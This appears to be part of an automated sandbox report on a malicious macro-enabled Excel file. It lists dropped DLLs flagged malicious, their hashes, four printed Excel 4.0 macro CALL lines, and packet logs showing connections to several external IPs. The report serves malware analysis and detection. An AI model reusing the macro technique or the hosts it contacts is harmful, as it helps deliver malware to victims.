MD5:	85D0AB345FA20FE945F3400D594A596F
SHA1:	14942016CF18F1A4E66875557D9A41D1D1EE3FDA
SHA-256:	4900725900CE09E5D891390E61B983159275AF0EC3CCF22127CF775F454E4DDF
SHA-512:	3F19B665A782A84F46984BA15B3EB2CB7EFBF6B2ECFED6693C8B7CF32848A19E47ACF233A7CA5A4E63FF93297E0DDED2F6C0509DE14DF7D17322440859C06233
Malicious:	false
Preview:	L..................F...........7G.....@W+.....@W+... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R....Desktop.d......QK.X.R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\305090\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......305090..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\document-1251000362.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Apr 7 01:39:37 2021, atime=Wed Apr 7 01:39:37 2021, length=108032, window=hide
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	4.541302817004864
Encrypted:	false
SSDEEP:	48:8PB/XT0jFQ45WsrfQh2PB/XT0jFQ45WsrfQ/:8PB/XojFQYfQh2PB/XojFQYfQ/
MD5:	0CE34D3EFE815602AF4134125340715F
SHA1:	7D317912C5E9582FBBD7EFE694E29D3D6A0A5793
SHA-256:	6C609B2A13153A3064F0224FF8185F95E5056DF943C29FB64EAAEBA2A8D4EDE7
SHA-512:	0532D9C9EA2803479C0945E4E200ED998FE56A8A511AB029F733E7773AA6F458798AEA3EB40C0FB2A305358D1C8A7980E4BEF61E7131051A556B1B4AD1BA3323
Malicious:	false
Preview:	L..................F.... ....}..{.....@W+...O.@W+...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....z.2......R.. .DOCUME~1.XLS..^.......Q.y.Q.y...8.....................d.o.c.u.m.e.n.t.-.1.2.5.1.0.0.0.3.6.2...x.l.s.m.......................-...8...[............?J......C:\Users\..#...................\\305090\Users.user\Desktop\document-1251000362.xlsm./.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.d.o.c.u.m.e.n.t.-.1.2.5.1.0.0.0.3.6.2...x.l.s.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......305090..........D_..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.651969231706502
Encrypted:	false
SSDEEP:	3:oyBVomxWKS9LR7MLUZELR7MLUmxWKS9LR7MLUv:dj49LFKmELFK89LFK2
MD5:	A348D9A6AAD55F97FEFAD8FED3E7A810
SHA1:	CB3796F3CD7CE5AF7E0DAE21286139F2721E6D62
SHA-256:	FA8C4325ABC8119436E0C362DD14561B1285287EC56CC4D99E4CD3D8112EAC24
SHA-512:	443429B4A95517245FC0E110D4FD084679E01C7B0C22671600A49354626D6F7FEB8C55CB06AE66D5ECAC99421CC5136502930ADDBE51F9DBE30089004DB070F7
Malicious:	false
Preview:	Desktop.LNK=0..[misc]..document-1251000362.LNK=0..document-1251000362.LNK=0..[misc]..document-1251000362.LNK=0..

C:\Users\user\Desktop\5CCE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	108032
Entropy (8bit):	7.906565072009926
Encrypted:	false
SSDEEP:	3072:GJYRWZxNFcWr5qXDzPjEwqtDGko+bJ99K7meX7pr2:GW82jYDs+d9imeX7pr2
MD5:	6DFFC9D8B1D0629DD0001C937205F1A0
SHA1:	2B9A6CE29E76A875A6C6C124F74D350084E260BC
SHA-256:	14792FE8A6C1F64937345789A4CC3BEB12FB226E707A9D31C4385024DC13DC56
SHA-512:	3386429EA4FA27BB7C512C5CEAF508120C4A1EFF7793E380BB53CD047B11A86D8DBFB92987AA23A497B5B619BD7EAB892FDE93E0038E83E6E6ADFD704094F482
Malicious:	false
Preview:	.U.N.0..#.?D....#4j.b........mb./..h..k7.......>......."j.Zv.LX.Nz.]..wW.9.0.....Z..d...'.u....e}J.7.({........G+.....B.E..l2..w.\.S.`.._X.{....].8.k.?...T.D.FK..(.pjG.........D.`. ....&DM...R.`..^...Mm..\|}?"........%..:.O*.B^9...G.....F.t-,..W.?...{.l...2-..`..Xc......Z..=;<.T.....;$.>$../').#>.....y..m..za.....b.}S.D..x..\|.f$8.......1.^DP...t...^s..PQ<f.\|......c.4.n..H.4.....=.]."..4l....U...q....y.+P{.yy.........PK..........!...`.............[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$document-1251000362.xlsm Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\ksjvoefv.skd Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	46867
Entropy (8bit):	5.063576400987857
Encrypted:	false
SSDEEP:	768:RHppffnqCuZgKEq2OqmBhw9+eyA/Dj74zZ/mgxH7Wgagg1nXFJBMq/umJUZp:NDqvHEbsBneyAbniZPWznfBL/nM
MD5:	F029290EA011A5F9C6F7880F35D23A1B
SHA1:	384FB5A582A4AA67E0BE9716D5E260258E2FA3B2
SHA-256:	A7B8E0DF5276942405D485EB808FA19B24E42D9758CACF1515028122755C2513
SHA-512:	DC2525087DDD8AAC2DCE2C74D5C32A93C474F7C9692C8ED7FBF26B106C58734DB16B2DEE0892FDAC51CCB8ACE4A3C8F1EFBD4B65EAA5F9ADAB4A15E908168CA7
Malicious:	true
Joe Sandbox View:	Filename: document-1251000362.xlsm, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%.o.a...a...a...q...d...q...`...q...`...Richa...........................PE..d.....c`.........." ................................................................O:....`..........................................!..L............................................ ...............................................................................text...2........................... ..`.rdata....... ......................@..@.data...X@...0...B..................@....pdata...............Z..............@..@.ndata...O.......P...\..............@...................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\ksjvoefv.skd3 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	255317
Entropy (8bit):	5.733275351438473
Encrypted:	false
SSDEEP:	3072:OCHCrCVCVC/CtCczk8PkyGtzjU0c28vPr:Wk8PpIzw0c2sP
MD5:	94233B243340F796260350A45DBC7D46
SHA1:	EA8F87964CE33A381F8779AD212907FC30CC470F
SHA-256:	BF4D7AAF16DD3806DB0C54096EE9CAF23316C2A6C9D1F6ABC55B39215E88F685
SHA-512:	ACD727A7CE66D3170A828249F563BDF38177648E17548A1AE0FB4E0821E9C0EB8177919C880C7AE43841F31285BA7899EF75578C84860EE9F1A20EF8A8EBD1AF
Malicious:	true
Joe Sandbox View:	Filename: document-1251000362.xlsm, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dhF.............g.......................c.......c......Rich............................PE..d.....e`.........." .........................................................`............`.............................................d...d...P............P..........................................................................p............................text.............................. ..`.rdata...T.......V..................@..@.data...P@.......B..................@....pdata.......P......................@..@........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.90711837214681
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	document-1251000362.xlsm
File size:	108063
MD5:	09217c79f99bbfe977a80d83d62489c7
SHA1:	da600d355dfb57190a5745342f3cfeb7d1e509f1
SHA256:	7bf8049e4766a2985851a3d3bf01710c53c389fe1e54397fa332672b62b649d8
SHA512:	e38504266eb60cb5850ee2ba3b11cacec72436942d6977731cf1b4249d5a3fbad2a85c24853a8aff7ce7e41415e0a45a7818641ba7cdd2e9e5ba31da8bae0578
SSDEEP:	3072:U2CxNFcWr5qQDzPjEwqtDpko+bJ99K7meX7pD/:UzxjYDj+d9imeX7pD/
File Content Preview:	PK..........!...`.............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4bcbcac

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "document-1251000362.xlsm"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

CALL(, , , 'Doc2'!AR22, before.2.0.0.sheet!BD113, before.2.0.0.sheet!BG98&"1", 0, 0)
CALL(, , , 'Doc2'!AR22, before.2.0.0.sheet!BD114, before.2.0.0.sheet!BG99&"2", 0, 0)
CALL(, , , 'Doc2'!AR22, before.2.0.0.sheet!BD115, before.2.0.0.sheet!BG100&"3", 0, 0)
CALL(, , , 'Doc2'!AR22, before.2.0.0.sheet!BD116, before.2.0.0.sheet!BG101&"4", 0, 0)

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/06/21-19:39:57.121771	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.22	8.8.8.8
04/06/21-19:39:58.150989	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.22	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 6, 2021 19:39:48.301563025 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:48.464716911 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:48.464802027 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:48.473278046 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:48.634416103 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:48.649329901 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:48.649364948 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:48.649375916 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:48.649650097 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:48.700989962 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:48.870018959 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:48.870209932 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:50.465636015 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:50.667963982 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.259955883 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.259979010 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.259991884 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.260008097 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.260021925 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.260035992 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.260049105 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.260062933 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.260081053 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.260097027 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.260278940 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.264262915 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.419625044 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419656992 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419677019 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419692993 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419708967 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419725895 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419740915 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419755936 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419770956 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419773102 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.419786930 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419795036 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.419799089 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.419805050 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419821978 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.419831991 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.419841051 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.419897079 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.420022964 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.423890114 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.429184914 CEST	49165	443	192.168.2.22	192.185.48.186
Apr 6, 2021 19:39:51.510070086 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:51.589896917 CEST	443	49165	192.185.48.186	192.168.2.22
Apr 6, 2021 19:39:51.671928883 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:51.672138929 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:51.673175097 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:51.836015940 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:51.843518019 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:51.843588114 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:51.843641043 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:51.843713999 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:51.843753099 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:51.843796015 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:51.885736942 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:52.050749063 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:52.051012039 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:52.096615076 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:52.297607899 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:52.491154909 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:52.491208076 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:52.491415024 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:52.492373943 CEST	49168	443	192.168.2.22	192.185.214.87
Apr 6, 2021 19:39:52.660913944 CEST	443	49168	192.185.214.87	192.168.2.22
Apr 6, 2021 19:39:52.687163115 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:52.873061895 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:52.873382092 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:52.874546051 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:53.062119961 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.070827007 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.070857048 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.070868015 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.070995092 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:53.115888119 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:53.305470943 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.305619001 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:53.333247900 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:53.561291933 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.679482937 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.679795027 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.679797888 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:53.679893017 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:53.680702925 CEST	49169	443	192.168.2.22	50.87.146.86
Apr 6, 2021 19:39:53.767499924 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:53.865442038 CEST	443	49169	50.87.146.86	192.168.2.22
Apr 6, 2021 19:39:53.933985949 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:53.934089899 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:53.934823990 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.101177931 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.105146885 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.105191946 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.105231047 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.105406046 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.105477095 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.154002905 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.324254036 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.324517012 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.332602024 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.540685892 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.638808012 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.638866901 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.638905048 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.638943911 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.638982058 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.639030933 CEST	443	49170	199.79.62.99	192.168.2.22
